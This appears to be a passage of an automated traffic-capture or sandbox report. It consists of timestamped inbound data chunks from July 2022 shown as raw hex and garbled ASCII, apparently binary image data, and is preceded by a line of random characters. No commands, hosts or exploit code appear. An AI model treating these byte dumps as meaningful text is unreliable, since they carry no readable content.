5=voq6e[/QEMs#2Q;kz#1vzU@Tl6R3mZ\|GQl5zoV_J9V9n)GJ7fD8xno/@Jiw74=?pLoiQB
2022-07-20 04:06:50 UTC	3461	IN	Data Raw: 84 5e 6c b3 4c 98 77 2c 31 b7 c9 ca fc aa 47 03 39 35 a7 f1 22 fb 5d f1 94 cd f1 02 e3 c2 16 de 1c d1 b5 29 42 c5 f6 1b 27 8f 4e 92 45 e7 11 ef 24 31 3f c4 01 c7 b5 2d 63 a7 44 4d 39 5e a7 b4 b2 53 6b dd d2 f7 ba 69 a5 bd ac 9d dd bf 43 95 be f0 86 bb a7 d9 e9 f7 57 da 46 a1 67 6b a8 e5 ac ee 6e ed 9d 23 b8 4e 99 56 61 b5 86 7a 9a f7 1d 19 bc 73 f0 47 c3 ff 00 db 7a a7 8c 75 2f 09 cb af 5b 0b 1b 39 2c 96 3b e5 ba 86 14 6f 91 9c 49 ba 22 1b 80 36 ff 00 7a b8 4b 19 bc 79 f1 ef 58 d2 34 ab cd 69 62 d2 da 49 16 d1 b5 09 3e cd a6 5a f9 69 b9 f6 aa 8d ab 85 e0 05 5f 41 5c 45 e4 3a 7d b4 30 5b bd cb 4b 7b 1c e6 39 24 87 0f 02 c7 c0 ca e7 0c cd f7 8f b8 c5 5a b2 4d 2d ff 00 42 22 af 38 56 72 72 8c 53 bd 95 bd fd d6 ba bb 2b 7a de da a3 4f c2 72 68 6f e2 8d 2a f3 Data Ascii: ^lLw,1G95"])B'NE$1?-cDM9^SkiCWFgkn#NVazsGzu/[9,;oI"6zKyX4ibI>Zi_A\E:}0[K{9$ZM-B"8VrrS+zOrho*
2022-07-20 04:06:50 UTC	3477	IN	Data Raw: 6f 81 b5 55 d7 2d fe df 15 f5 b3 2f 1b 96 06 3b 77 7f 77 9e f5 e0 5e 28 be f3 a6 fb 44 11 79 09 1f cb b7 6f cc d8 ac 3d 2f c5 f7 5a 3e b1 fd a1 13 34 4f b4 7d d6 3b 77 7a 95 ef 45 48 fb 48 a7 6d 49 a1 5d 52 7c 8f 6f c8 fb 1a 59 ed ef e1 60 8d f3 2b 7c d1 fd e6 5c 7a d6 2e ad 0a 6a 51 ce 3c d5 f9 9b 74 6d e6 0f 95 87 62 07 a5 71 be 09 f1 a5 87 8a 34 d8 8d c5 f7 91 a8 c8 df 34 6b 84 f3 3d d8 75 ae ab ec a6 49 96 00 d1 c5 2b 2f 99 1b 2f dd 5c f1 d6 b9 12 67 7c a4 ba 9c de a3 62 7e d5 62 96 97 8d 15 d3 63 fd 25 99 dd d7 07 fd b2 17 e9 4c f1 25 bd bc 7a 5c f6 cf fb fb a8 be 65 dc c9 bd 98 f4 da 00 f5 a6 5f d8 c1 73 67 2c 5a 9c 8d 2a c5 21 f3 16 0c 7a e4 fc c7 19 f6 ac db 5d 57 4b b5 92 07 8a 26 d4 2d ed 57 74 71 c8 bb a5 8f 3e a3 20 71 5a 45 f2 bb 99 ca d2 56 Data Ascii: oU-/;ww^(Dyo=/Z>4O};wzEHHmI]R\|oY`+\|\z.jQ<tmbq44k=uI+//\g\|b~bc%L%z\e_sg,Z*!z]WK&-Wtq> qZEV
2022-07-20 04:06:50 UTC	3485	IN	Data Raw: b3 26 dc 8d fb 4f a8 ce 7d ab d9 fe 1a fc 11 ff 00 85 07 a4 ea 1a a9 f8 c9 a1 78 72 f6 7d 8b 23 47 69 05 e4 4c a3 25 72 5c ee cf fb b5 d0 f8 c3 c4 2f a1 fc 1b f1 47 88 7c 3f f1 76 db 55 f1 54 19 be 96 fa d2 d2 d6 09 6e 97 78 c4 6c 18 17 da 3b 00 7f 0a 53 ad a5 a2 fe 76 ff 00 86 36 c3 65 d8 9c c3 11 4e 55 93 8c 65 3d 23 77 66 ad 6b 37 af 92 56 da da b3 e6 8f 89 7f 16 0f 84 ec f4 5f 07 f8 2a da 08 3c 2d 63 25 ae a0 b6 da 85 93 bb b5 e2 85 dc df bf 5c 84 76 f9 b6 8c a9 cd 77 5f f0 b8 7e 38 78 9f c4 0b e1 ed 22 c6 db c2 f1 4b 12 46 ba 6c 30 43 6b 17 97 80 ff 00 eb 4f 19 2a 7b 10 6b 89 f8 6f 7d a8 fc 78 f8 99 a7 ea be 37 d7 ac 75 78 34 f9 2d 62 92 c7 56 bb 16 ad 75 09 7c 6d 8c a8 03 8e a6 be 9c f8 ed fb 43 78 7b e1 1e 97 6d a3 e9 50 69 fa 86 ab e6 8b 98 b4 fb Data Ascii: &O}xr}#GiL%r\/G\|?vUTnxl;Sv6eNUe=#wfk7V_<-c%\vw_~8x"KFl0CkO{ko}x7ux4-bVu\|mCx{mPi
2022-07-20 04:06:50 UTC	3501	IN	Data Raw: 2e d6 57 07 0c 18 1e 98 35 d3 af c3 4b 9b 6f 06 dc f8 8b 54 d4 f4 dd 37 6c fe 55 b6 97 73 3f fa 65 e3 7f 11 48 d4 1c 20 fe f3 ed 07 b6 6b 9e b5 9a 39 b5 28 1e f3 cf fb 3b 48 3c d6 8f e6 97 66 7e 6c 6e e3 7e 3a 67 bd 1a af d9 96 ea 71 66 d2 49 03 48 eb 13 5c a8 f3 76 67 e5 dd b7 23 76 3a e0 e3 35 49 45 27 74 29 5e 52 5a e9 f9 90 26 64 b8 54 82 26 95 db e5 55 5f bd f9 0a d9 f0 ef 86 67 f1 16 b5 63 6b 73 7d 69 e1 eb 2b ad ed fd a5 a9 65 6d 95 54 1c 92 40 2c dc 8d a3 03 ad 69 78 32 d7 c2 11 c9 14 fe 24 d4 35 b8 82 f9 ea f0 69 30 47 bb 88 7f 70 43 b1 ef 2f ca cb 8e 17 bd 72 fe 61 75 58 87 cc d4 f9 6d 66 67 cc e7 7b 2b 7f 5f d6 a4 b1 da db 3e a1 10 b9 69 25 b5 59 42 c9 24 6a 37 b2 67 e6 2a 0f 1b b1 d3 35 d8 f8 a3 c4 3a 66 ab 71 a8 59 f8 5b 43 b9 8b c2 56 71 06 Data Ascii: .W5KoT7lUs?eH k9(;H<f~ln~:gqfIH\vg#v:5IE't)^RZ&dT&U_gcks}i+emT@,ix2$5i0GpC/rauXmfg{+_>i%YB$j7g*5:fqY[CVq
2022-07-20 04:06:50 UTC	3517	IN	Data Raw: c3 6a d2 c7 3c 4a b2 ff 00 ac 65 6f e1 ff 00 81 74 c9 a2 d6 d4 69 dd 34 47 35 d4 56 0a b1 5b fe f5 f7 7c db be 65 ac e5 f3 26 9a e5 e0 f2 e2 95 57 73 7f 79 98 0e 33 4f bf 85 da f2 09 63 ba dd 13 7f cb 35 c7 dc f7 f6 06 b9 4b 89 b5 39 35 85 4b 39 60 6b 3d c7 cd 56 8f e6 87 df 39 f9 b3 53 ca c7 cc 95 8d 1d 52 ce e3 56 d2 5a d1 20 b4 81 d9 95 99 76 ed 55 ff 00 78 7f 15 60 7f c2 01 6f e1 f9 a2 b7 89 57 cf 92 2f 31 a4 81 8a ae d3 d7 6e 79 cd 6e 49 ad 8b eb 19 e2 b6 96 46 bd da 36 ac 71 6d 76 51 d7 ef 0c 8a bf a2 e9 69 79 67 2d d5 cc b7 2d 75 06 16 05 95 b7 24 7d c9 63 90 79 fa 57 44 1b 51 dc e5 9c 22 e5 7b 7c ce 33 4b d0 ed e3 69 64 37 8d f6 78 e4 1b a0 69 0f de fa 0e 4d 74 f7 93 69 ef 62 af 12 cf 2f 97 b3 6a f2 bb bb f2 7b 0a 35 46 81 d9 9e e1 ad a0 f9 8a f9 Data Ascii: j<Jeoti4G5V[\|e&Wsy3Oc5K95K9`k=V9SRVZ vUx`oW/1nynIF6qmvQiyg--u$}cyWDQ"{\|3Kid7xiMtib/j{5F
2022-07-20 04:06:50 UTC	3524	IN	Data Raw: 86 f0 7f c2 df 87 fa 80 f0 5f 83 35 25 f1 1e a5 aa 4f 1d a5 cc 91 a3 f9 68 c4 79 11 79 b8 2c ec ab fc 03 bf cd 5c 2c bf 04 3c 74 de 1f ff 00 84 b6 d7 c3 96 97 3f db 28 f7 df e8 2a ea da 7d b2 be 1b 7c 4c 30 8b 21 da 47 56 fa 73 5f 40 f8 17 f6 7e 4f 05 da ae bb a6 5a da 78 a3 c6 16 30 5a 5d c1 a4 b5 b4 91 7d 86 4d fb a5 26 31 8f 31 f6 b7 12 1e 07 1d a9 ce 50 49 ca 7b ad fd 4e 38 4a 75 2a c7 ea b4 94 9b 7c d1 93 bd ad 6e 58 b6 ef a6 b2 bd b7 f2 b1 c1 fe d0 df 1a a3 f1 b7 82 74 ef 0f e9 1e 10 b9 97 c6 13 37 91 73 06 a0 bf 6e d4 6d fc be 71 b4 ae f4 66 66 e3 db b7 4a 7f ec ff 00 79 aa 78 57 e3 06 99 a5 47 e1 cd 11 22 8f c3 29 e6 5d ff 00 65 ce 9b 95 17 cc 69 a4 8d 98 34 b3 07 04 1f 71 d0 76 f4 6d 17 c5 be 25 f8 ad f1 4b 5c 93 c1 5a 56 a5 a5 5b dd 41 24 72 ea Data Ascii: _5%Ohyy,\,<t?(}\|L0!GVs_@~OZx0Z]}M&11PI{N8Ju\|nXt7snmqffJyxWG")]ei4qvm%K\ZV[A$r
2022-07-20 04:06:50 UTC	3540	IN	Data Raw: de 7c 23 f8 47 a8 5c 4d 63 ae 5d db 45 16 9d b9 65 8d a7 5d de 66 3d 07 7c ff 00 78 f1 5c 73 9b 93 b2 3b 69 a8 53 8f 34 ce a7 e0 6f c1 7b 7f 0f c7 17 89 35 cb 65 fb 7c 8a 1a ca da 45 f9 a3 5f f9 e8 fe fe 9f 9d 7a b6 b5 64 75 55 89 cd e4 90 79 72 79 aa ca c5 5a 4c 72 01 ff 00 67 3d bb d5 97 63 24 8d 2c bf 32 ee f9 7f da ff 00 eb 0a cb d5 2e 9e 7d c3 77 f0 d2 51 6d 58 e7 95 47 7e 66 57 b9 d6 e6 8e eb ca 9f 6b 3f f7 ab 9c f1 77 8a bf b2 ac d9 11 99 ae 25 61 14 4b 07 cd 2c 8e 7a 47 18 3d 5c fe 4a 3e 63 59 3e 2e f1 3c 7e 1e b7 59 2e 3c c9 dd 7f 77 14 71 ae e7 91 cf dd 8d 47 76 27 fc 7a 57 1f 6e f7 36 f6 f7 3a fe a7 6d f6 ef 10 45 13 b4 7a 6c 32 7f c7 aa 75 31 46 7b b9 fe 26 ea c7 8e 98 ad e2 b9 23 76 73 ce 5e d1 d9 3f 5f 22 be 9f 27 89 34 3f 15 4b 6f 77 3e 97 Data Ascii: \|#G\Mc]Ee]f=\|x\s;iS4o{5e\|E_zduUyryZLrg=c$,2.}wQmXG~fWk?w%aK,zG=\J>cY>.<~Y.<wqGv'zWn6:mEzl2u1F{&#vs^?_"'4?Kow>
2022-07-20 04:06:50 UTC	3556	IN	Data Raw: 22 ff 00 45 83 e4 05 9b 73 8e ae 79 f7 6a 5a a9 29 b7 a2 d7 d7 fa fb ce 49 53 c3 d4 c2 55 f6 92 bc ef c8 b5 72 b5 f4 bb b6 9c d2 4f dd b6 8b cd a3 da be 2d 7e cf f6 de 2a d2 7c 3d a8 78 3b c3 9a 7a ca eb 71 05 ee 9b a3 5f 97 82 c5 e1 71 ba 59 27 91 b6 e3 61 e7 1d fd 6b e7 76 f8 6d e2 1b 8d 37 5e d4 ac 34 19 ae 74 bd 2a ef 64 f7 d0 4e 93 c1 0f 3b 56 32 cb f7 d8 9c 63 1d 47 38 ef 5f 4d 4b fb 37 f8 bb e1 ef c1 99 ff 00 b5 7c 31 69 e3 8b db 9b d8 e5 78 ed 35 4b a5 9e cc 49 c3 1e 08 8d f3 d3 3c fd ee 95 ce 78 67 e1 b7 c4 3f 0c eb da 86 8b e1 ad 2b 4f f0 74 9a 1d b4 fa e2 e9 f3 5c c7 75 3c c4 26 df de 17 c0 95 82 1e 38 da 87 9e b5 11 9b 5c ed 35 fd 76 f9 1d 53 92 a9 4f 0e a3 19 47 6d 2c ef 64 dc 63 74 b6 6d b8 ad 6c 95 b6 bb 30 7e 0d fe cb 2f e3 dd 0f 4f d4 75 Data Ascii: "EsyjZ)ISUrO-~\|=x;zq_qY'akvm7^4tdN;V2cG8_MK7\|1ix5KI<xg?+Ot\u<&8\5vSOGm,dctml0~/Ou
2022-07-20 04:06:50 UTC	3564	IN	Data Raw: df a5 af ea 57 f1 26 97 17 86 f5 ed 63 47 79 ed af 9e ce 53 07 da 6c 67 df 03 32 9c 79 88 df c6 87 b7 e7 55 f4 9d 62 4d 05 6e 5d 20 82 75 ba b6 7b 66 fb 5c 02 5d a8 dc 65 33 f7 5c 76 61 c8 ac c4 5d ad f7 b7 6d fe 95 d4 ff 00 c2 31 a7 68 f1 ea 03 5f bc bb b6 d4 63 82 09 ec ac 63 b6 ff 00 8f 8f 30 06 f9 9c fd c0 10 ee 19 07 77 b5 68 ae d5 ce 79 28 a9 d9 2d ff 00 ad c8 bc 3d 26 ab ab 2b 78 7f 4b 9f c8 5d 4e 78 e3 68 3e d3 e5 2d c1 cf c8 1c 92 14 a8 6e 46 ee 86 b3 af ac ce 97 33 47 27 96 cc ab b5 be 60 df 30 ea 05 69 69 7e 2d bc d2 fc 3f aa e9 76 9b 95 35 0c 47 72 bb 77 2c d1 af 21 48 e7 a1 19 f5 18 eb 58 b6 da 7d c6 a1 75 15 bd ba b4 f2 ee f9 63 55 f9 bf 2e b4 f7 f5 15 f9 53 e7 d9 7f 57 f9 9e 85 e1 fb 8b 67 f0 2d ce 95 e3 1f 10 eb 36 3a 16 d9 35 0d 1b 46 d3 Data Ascii: W&cGySlg2yUbMn] u{f\]e3\va]m1h_cc0why(-=&+xK]Nxh>-nF3G'`0ii~-?v5Grw,!HX}ucU.SWg-6:5F
2022-07-20 04:06:50 UTC	3580	IN	Data Raw: d7 1a 87 ee d6 da d3 4b 77 89 ae 73 f3 c5 1c 9c 2f 1f dd af 30 bc f1 e7 8f 3e 2a 5e 78 86 e6 4f 04 ae 83 a4 58 a8 6d 1a db 52 d0 9a e5 16 e1 a4 f9 9a 57 18 64 cf 2c 5b 0c 07 4a 8f e3 37 c6 0d 56 db c2 76 7e 0e f0 1f 86 b5 2d 7a ff 00 47 bc b7 bd 8b c4 96 96 87 c8 87 92 ca 23 8b 6f 52 3e 5c b0 f5 ab 1e 0d fd aa bc 4b e0 cb 1d 5e 2d 67 4f bb f1 44 56 b3 49 3d cd ce ad 22 59 cb 6b 1e 01 10 97 58 f6 b4 bb b7 28 8f fd 9a 9e 56 fe 15 ab 7b 10 ab 38 52 a5 46 53 4e e9 73 3d dd f5 d1 bd 95 d7 2e d6 6e fd 36 22 d6 be 29 78 c3 5e f0 af 8e bc 39 e2 c8 2d 3c 21 fd 9b 69 04 b6 5a a6 8d e6 4f 02 ba 60 b6 3a 9d ac 0f 3e 99 ad 8f 02 fc 6a d2 ad fc 33 a5 1f 0b 78 aa e7 c2 f6 b7 32 c5 65 2d b6 b7 a4 c6 cc ae b0 92 f2 87 ce e5 4f bb b5 8e 45 52 9b f6 c6 f0 ff 00 c4 5b 1d 7b Data Ascii: Kws/0>*^xOXmRWd,[J7Vv~-zG#oR>\K^-gODVI="YkX(V{8RFSNs=.n6")x^9-<!iZO`:>j3x2e-OER[{
2022-07-20 04:06:50 UTC	3596	IN	Data Raw: 4a 4a da b5 e7 a3 6b f4 fb 86 b4 9b 24 cc 6b b7 fd 9f e1 ab 12 6a 53 c9 a6 c1 62 16 3f 22 29 1e 75 6d a3 7e e6 00 1c b7 5d bf 28 f9 6a 84 6a f2 b6 47 cb bb f8 bf c6 b4 6d 56 ce c7 52 59 6e 37 5d 24 12 23 34 0b ff 00 2d 97 f8 86 e1 c0 a9 b3 d9 95 ed 15 fd dd 59 6b 4b d1 6f 75 68 6f 27 b3 b3 6b 95 b3 88 cf 73 d3 6c 68 31 93 db d7 b7 35 1e a9 ad 5e 6b 77 cd 73 7f 72 d7 d3 ed 48 da 79 1b 73 b2 a8 01 79 fe 2f 94 01 55 26 bc 96 4d d0 26 e8 a0 92 4f 31 95 58 ed f6 e3 da ad c7 71 a7 26 87 3d b4 96 72 49 ab b4 e1 a2 be 59 fe 45 8c 02 1a 33 1e 39 c9 da c1 b3 91 8c 60 e7 87 ca 98 d4 9c 5f 7d 7e e5 b8 eb 5d 40 4d 24 51 dd b4 ed 67 1b 6e f2 95 bf 87 f8 82 fa 13 eb 4f ba fb 1c 97 58 b6 69 3e cf fc 3e 7f ca ea de 87 1d 79 ac b8 e1 79 66 48 c3 6e 79 1b 6a ff 00 f5 eb 5f Data Ascii: JJk$kjSb?")um~](jjGmVRYn7]$#4-YkKouho'kslh15^kwsrHysy/U&M&O1Xq&=rIYE39`_}~]@M$QgnOXi>>yyfHnyj_
2022-07-20 04:06:50 UTC	3604	IN	Data Raw: e5 c4 ad f7 bc c6 da bb 45 66 bb 5c 5b c3 13 be e8 91 7e 68 ff 00 89 bf c9 ab 0f 85 9b 12 fc cd fc 4c b4 97 48 89 6a c3 72 ef 6a 2e a6 bd e0 b4 a9 bf 74 56 bb fb 74 6b 70 92 ae fd bf 32 b2 fc bb bf 0a cb d6 b4 58 3e c2 b3 db b2 f9 ad 20 f3 15 be ef 1d fe b5 35 9c 76 db bf 7e d2 c4 bb 4a aa c0 bf 79 bb 7e bf 8d 5c 8d 85 c4 32 c0 15 51 36 ee 5d cb bb e6 c5 38 a4 85 27 76 54 d0 f4 99 2e 6c d6 79 20 92 25 66 db 1b 72 be 67 b7 d3 d4 d5 f7 b5 11 c6 d1 27 dd e7 e6 66 a2 49 ae 64 87 7c 8c d3 ac 8a 63 5d cd fe ad bb 6d f6 f6 a9 23 d2 ae 6d ac 60 b8 93 74 a3 77 de 5a d1 5e d6 22 4d 29 3b 3d 0c 89 a3 b9 b9 b7 96 38 a2 dd 2c 4c 5b f7 6a db b6 8e f5 5a da cc 43 74 d7 e2 5d 88 d1 ed 97 fd ee c4 d6 8d d4 97 96 f1 dc 87 56 82 09 31 e6 2f dd dd c7 a5 72 97 1a a0 97 5c 5b Data Ascii: Ef\[~hLHjrj.tVtkp2X> 5v~Jy~\2Q6]8'vT.ly %frg'fId\|c]m#m`twZ^"M);=8,L[jZCt]V1/r\[
2022-07-20 04:06:50 UTC	3620	IN	Data Raw: b4 49 27 59 3e cf 1a b7 fb d1 ae e6 5f 5f c2 b5 af f4 b8 f4 7d 41 a0 75 dc ea db 64 55 fb bb bd ab 36 c6 ea ff 00 c3 fe 22 82 e3 4c 75 8a 6d db 76 b2 ee 55 5f 7c d6 bc ca a2 71 66 31 4e 0d 76 62 6b 56 6e ac a0 2b 7c bf 33 49 5c de ab 6e 97 96 ab 13 cb ba e9 7e ea ff 00 14 9e b5 d9 f8 c3 52 d4 35 8b a5 bd bc 89 55 ee 54 ed 55 5d aa ca a7 6e 40 1f 4a e2 35 5b 53 71 1e f4 5d ad 1b 7d ef ef 54 43 de 1c dd 8e 5f 57 b1 82 da 45 8e 3d db e3 5f de 7c db 97 7f 70 2a 84 78 6d be 6f ca 9f c5 5d 16 a5 6d e6 5a ac 87 e5 95 7e f7 fb bd b3 5c e3 3e df f7 bf da ae 98 3b a3 86 a2 51 7a 05 c3 c7 23 7e ed 76 a5 56 f3 0a b7 3f 2a af f0 d1 32 3a 37 35 1b 67 ad 6e 8e 57 7b 8f 91 8f f0 7c cd fd da fa 37 e1 16 8e 7e 0a f8 1d 7c 71 71 12 dc f8 e7 55 89 e5 f0 ce 93 27 f0 c6 06 0e Data Ascii: I'Y>__}AudU6"LumvU_\|qf1NvbkVn+\|3I\n~R5UTU]n@J5[Sq]}TC_WE=_\|pxmo]mZ~\>;Qz#~vV?2:75gnW{\|7~\|qqU'
2022-07-20 04:06:50 UTC	3643	IN	Data Raw: 7d 9e db e5 8c dd 18 c1 0a 01 3b 46 fc 32 8e 72 73 5e 91 e3 2f 86 bf 0f bc 0b f0 ef c2 7a 87 8e fc 55 e2 2f 10 e9 b3 e9 32 49 a5 da 69 eb 24 56 ab 70 d8 68 fc bd ff 00 2e 00 fb ca d8 dd fa 53 73 b5 e7 1d f6 5e 89 7f 5f 33 1a 11 ab 57 d9 61 a2 bd d6 e5 26 93 57 6f 99 39 5d b6 92 8b e7 6a f2 57 e4 bd 91 f3 97 c2 5f 84 72 7c 42 6d 42 e2 ef 52 8f c3 9a 1c 16 d2 37 f6 c6 a1 04 8d 07 da 14 6e 58 46 ce 59 9b f4 19 6e d4 dd 4b c1 3a 24 3e 0b fb 7a 6b 53 da eb 96 b1 86 b9 d2 f5 0b 6d 9e 76 e9 30 ad 6a df c6 9b 7e 62 c4 57 a7 78 5e 6f 8b 1e 33 f0 7e 9f ae 8b cf ec 1f 01 e9 5a 80 b4 8f ec 90 25 ac 50 c3 7a fe 5c ed 18 50 01 52 0b 67 27 bf 1d eb 63 e3 f7 c1 df 07 78 4f c1 f7 da be 91 e2 ad 6f c4 31 5a de c7 a7 e9 1e 7c 6f 2d ac 38 cf 99 68 ce 7a 11 8d ca c0 ed c7 18 Data Ascii: };F2rs^/zU/2Ii$Vph.Ss^_3Wa&Wo9]jW_r\|BmBR7nXFYnK:$>zkSmv0j~bWx^o3~Z%Pz\PRg'cxOo1Z\|o-8hz
2022-07-20 04:06:50 UTC	3675	IN	Data Raw: df cb 6b a9 79 51 6e 56 66 dd f3 37 eb c5 75 8b 79 04 90 ca c2 2f 9f fe 5a 48 df 75 5b b5 38 da 5b 91 3e 68 2b 23 9e d2 59 12 1d ee db 5e 4f f9 66 df de a8 da e3 7c 8c 83 73 3b 37 cc cd fc 58 fd 00 ac ed 5a fa 4f b4 2c a8 cc d6 6b 96 f3 17 e5 dc df 5f e7 52 47 1c f7 96 b1 0d 3b 6b 24 8d b9 a4 93 f8 96 af 9b b1 0b 5d 59 24 32 5c ea 0d 2c 7f 69 6d b1 b7 cd f3 7c aa b5 06 8b 68 2e 2f 25 8c b4 8b 6e d9 da df de c9 e3 eb 4b 6f e1 e3 67 e6 13 fb 86 93 1f bc 66 6f 99 7d 85 75 76 36 70 69 31 a9 91 56 79 55 7e f3 7c bf 37 ae 3f a0 a9 e5 7d 4b 72 56 32 ae 74 77 b6 56 fb 3b 6d db ff 00 7d 6d ac 89 11 2f 99 a4 30 32 c6 bf 2f fb 3f ad 75 0f aa 24 7e 6c 97 0b b1 59 b6 f9 ff 00 c2 bf e4 d6 3e ab 25 bd bc 39 49 5a 54 93 e6 5f 23 e6 dc df 4a d3 c8 cd 27 d7 63 9a d5 6c 20 Data Ascii: kyQnVf7uy/ZHu[8[>h+#Y^Of\|s;7XZO,k_RG;k$]Y$2\,im\|h./%nKogfo}uv6pi1VyU~\|7?}KrV2twV;m}m/02/?u$~lY>%9IZT_#J'cl
2022-07-20 04:06:50 UTC	3729	IN	Data Raw: a1 1b 57 27 96 23 f9 57 d1 f7 de 3a 17 fa 2e 83 f0 9b c1 7a bc 7a af 88 fc df b1 2e a0 d6 06 da 3b 58 42 10 66 0c 70 aa e3 f8 71 c9 35 e4 9f 0a fc 27 f1 13 47 f8 47 ae 45 65 3d ce 87 17 8b 11 17 49 b6 b6 90 ab b1 df f3 c8 f8 05 a3 52 bc 1e 9d aa 7f 16 78 4f e3 4f 8e ad fc 19 67 73 3e 81 a4 6a 9a 54 a6 da c7 ec 8c 22 d4 ed 76 a0 51 24 ae 06 e2 84 7f 17 4f ce 9c a2 ee 9b d7 ca e7 35 0c 44 64 a7 89 9d 47 cd ef a8 be 56 d4 62 ad ca d2 57 4e fd dd 95 d5 f5 ba 47 35 e1 7f 04 d9 fc 25 fd a5 2f 04 be 2c 59 5b c3 57 62 5b 9d 42 ed 7c d7 99 8e d1 94 c1 c3 1c b7 e1 8a f7 6f 8e 09 e2 7f 8b 97 5a 8f 86 ed 7c 7f a7 e8 be 19 d1 6c 7f b4 35 6d 49 76 45 6b 23 c8 73 1c 6d b7 e6 07 6f 05 4e 79 af 15 f8 75 e2 cf 0a 7c 13 f1 36 9f 71 e2 df 0c ea de 2e f1 1d e4 93 f9 b7 d7 38 Data Ascii: W'#W:.zz.;XBfpq5'GGEe=IRxOOgs>jT"vQ$O5DdGVbWNG5%/,Y[Wb[B\|oZ\|l5mIvEk#smoNyu\|6q.8
2022-07-20 04:06:50 UTC	3833	IN	Data Raw: 00 be 9a ba d9 2e ef fc 97 52 6b 58 6e 3c 4f e2 6b cd 5f 57 89 b4 cd 3b 4d 5f f5 1b b6 f9 28 bf 76 31 ee 6b 07 5c d5 1f c4 17 de 7f dd 82 35 09 04 0b f7 63 41 d1 47 d2 b5 7c 51 ab 40 b0 c5 a1 69 8d fe 87 07 cd 2c 8b ff 00 2f 12 77 24 fa 0e 83 f3 ac 08 d3 cb e0 7f 0d 46 12 96 be d5 ab 69 68 ae cb fc de ec bc 65 5d 1d 14 ef ad e4 fb bf f2 5d 07 db db ee 55 05 be 5f bd 5a 30 a0 b3 8d 98 6d 57 fe 1a 4b 3b 60 91 a9 93 e5 ff 00 6a a0 bc 90 c9 33 63 ee d7 7d ee ec 79 f6 e5 44 5b 4b c8 d8 fe 2f bc de de 95 03 e1 ff 00 ef ad aa b5 33 2a 2f 1b be 65 cf fd f5 4d 45 da d9 a6 ef 62 7a 8f 5c 37 0b ff 00 7d 2d 6d f8 27 c2 57 1e 3a f1 04 1a 5c 4d e4 45 b4 cb 73 78 df 72 de 11 cb c8 4f 6c 0a c3 48 de 69 bc a8 b7 34 ac db 51 55 77 6e 6f 41 f5 af 50 d6 ed 5f c0 3e 1d 8b c1 Data Ascii: .RkXn<Ok_W;M_(v1k\5cAG\|Q@i,/w$Fihe]]U_Z0mWK;`j3c}yD[K/3*/eMEbz\7}-m'W:\MEsxrOlHi4QUwnoAP_>
2022-07-20 04:06:50 UTC	3872	IN	Data Raw: 4f 79 37 a2 bd 96 87 a6 7c 17 f1 86 95 a0 f8 2f c2 7e 21 f1 0e 83 6d 67 ae 68 7a a5 c5 8a db 69 2c 8d 79 7d 23 e3 21 ad f8 04 83 82 0e 79 f9 88 af 24 f8 8b 6d e2 ff 00 da 2b f6 84 6f 08 5c 4b a8 3e 83 a6 dd 99 20 b1 be 68 d9 f4 fb 73 82 ff 00 32 90 18 fb 64 9e dd ab d1 fe 3c 78 f3 c3 9f 0d 3e 24 69 1a 89 d2 34 96 b8 d3 ed a6 9e c7 50 b4 8f 7c 57 17 89 95 33 34 71 90 bb 77 e5 76 9e 53 f0 af 38 fd 96 bc 49 e2 0d 53 e2 57 85 ef ee 75 5b 2b 9b 1b cd 52 fa 5b bd 35 5b f7 f1 f9 88 0b cb 3e 47 28 dc 2a e4 9f b9 8e 2b 38 fb d3 53 68 78 98 d4 cb 32 fa 98 68 3e 49 49 25 75 f1 5a d2 6e dd 15 93 51 f3 77 ed 67 93 e3 cf 87 3f d9 7f 1a 27 d1 3e 15 e8 77 3e 21 8f 47 95 24 9f cb 8e 6d d3 49 81 be 19 08 23 6a fa 0e 33 d2 bd a3 50 fd 9c 75 cf 8b be 13 f0 ac 1e 34 5b 6f 0e Data Ascii: Oy7\|/~!mghzi,y}#!y$m+o\K> hs2d<x>$i4P\|W34qwvS8ISWu[+R[5[>G(*+8Shx2h>II%uZnQwg?'>w>!G$mI#j3Pu4[o
2022-07-20 04:06:50 UTC	3936	IN	Data Raw: d6 5b 65 46 8a da 4c ef b8 dc f8 3b 30 36 fc bf 78 e4 8e 3a 55 bd 63 c4 57 7a 8d 8c 5a 64 0d 3d b6 89 6d 3b dc db 69 b2 48 5d 21 91 d1 04 8c b9 fe f6 d5 cf b6 2a 95 9a 6c ce ef 99 2d 96 bf f0 df d6 85 24 b1 76 8e 73 0c bb a2 89 86 e6 5f bb bc f7 e7 90 2b 7f c7 fe 20 d1 35 ab 8b 61 a0 69 92 69 1a 74 0b fb bb 49 24 f3 7c b6 28 37 fc c7 e6 39 70 cd c9 fe 2e 00 ae 77 4d 85 2e 6e a2 82 79 d6 ce 29 24 45 92 76 ce d8 d0 9e 58 81 c9 03 be 2a c6 b9 0d 93 6a 97 c3 4c 59 ff 00 b3 a3 90 f9 4d 27 ce cb 1e 70 bb 98 01 f9 e0 54 db 99 15 a4 64 db 5f 31 34 b4 b3 b7 d5 a0 fe d0 f3 2e 74 e5 90 34 eb 68 db 5d 93 be c2 47 0d f5 1d 6b d0 24 d5 b4 8f 00 59 de 3e 8b 73 6d a8 5e 6b 10 5d 69 fa a6 8d 7d 6c 2e 12 ce 1d e1 a2 68 a6 0c 43 b1 5c 1d c3 05 58 35 62 f8 5f e1 cf 88 2f b5 Data Ascii: [eFL;06x:UcWzZd=m;iH]!l-$vs_+ 5aiitI$\|(79p.wM.ny)$EvXjLYM'pTd_14.t4h]Gk$Y>sm^k]i}l.hC\X5b_/
2022-07-20 04:06:50 UTC	3992	IN	Data Raw: f3 6d 5f 67 ef 01 c3 6d da af f3 00 39 c1 ae c7 c4 df b4 87 86 3c 25 f1 02 e7 44 d5 ed 6e 6d a0 82 c9 e5 5d 36 ef 42 f3 ef 2e ae 14 ed 0b 13 74 d8 47 42 78 02 b5 dd da f7 f2 bd 8e 2c 2f bc ec a3 ee c1 24 93 7b 2b e8 ba 2e ba fe 2f 43 1b 4b f8 c7 a8 78 d2 e2 e6 4d 1b c0 5a a6 ae d0 49 69 1d dd cd b4 91 ad cc 37 84 15 71 28 6c ab 01 ca 86 3f 5a f7 1b af 8a 4f a4 da df 0d 4f 4f 9f 43 fb 0c 7b a5 b9 d5 94 c1 6b 1b 0d 9f 2f 98 bb 95 be f7 de 15 f9 ff 00 ae 7e d3 b1 f8 b7 c7 57 da 9c fe 0e 91 6d 7e ee 9b 69 a6 dd bd 84 f0 b0 7d ca 64 68 80 f3 98 1f ef 0e 2b ea 0f 05 fc 69 f1 ac 96 3a 60 d7 fe 13 c9 07 85 35 a9 7c cd 2d ad ae 4d d4 ac e4 7f ab 91 64 3b 98 16 1b b3 8a 55 23 ca d5 ec 57 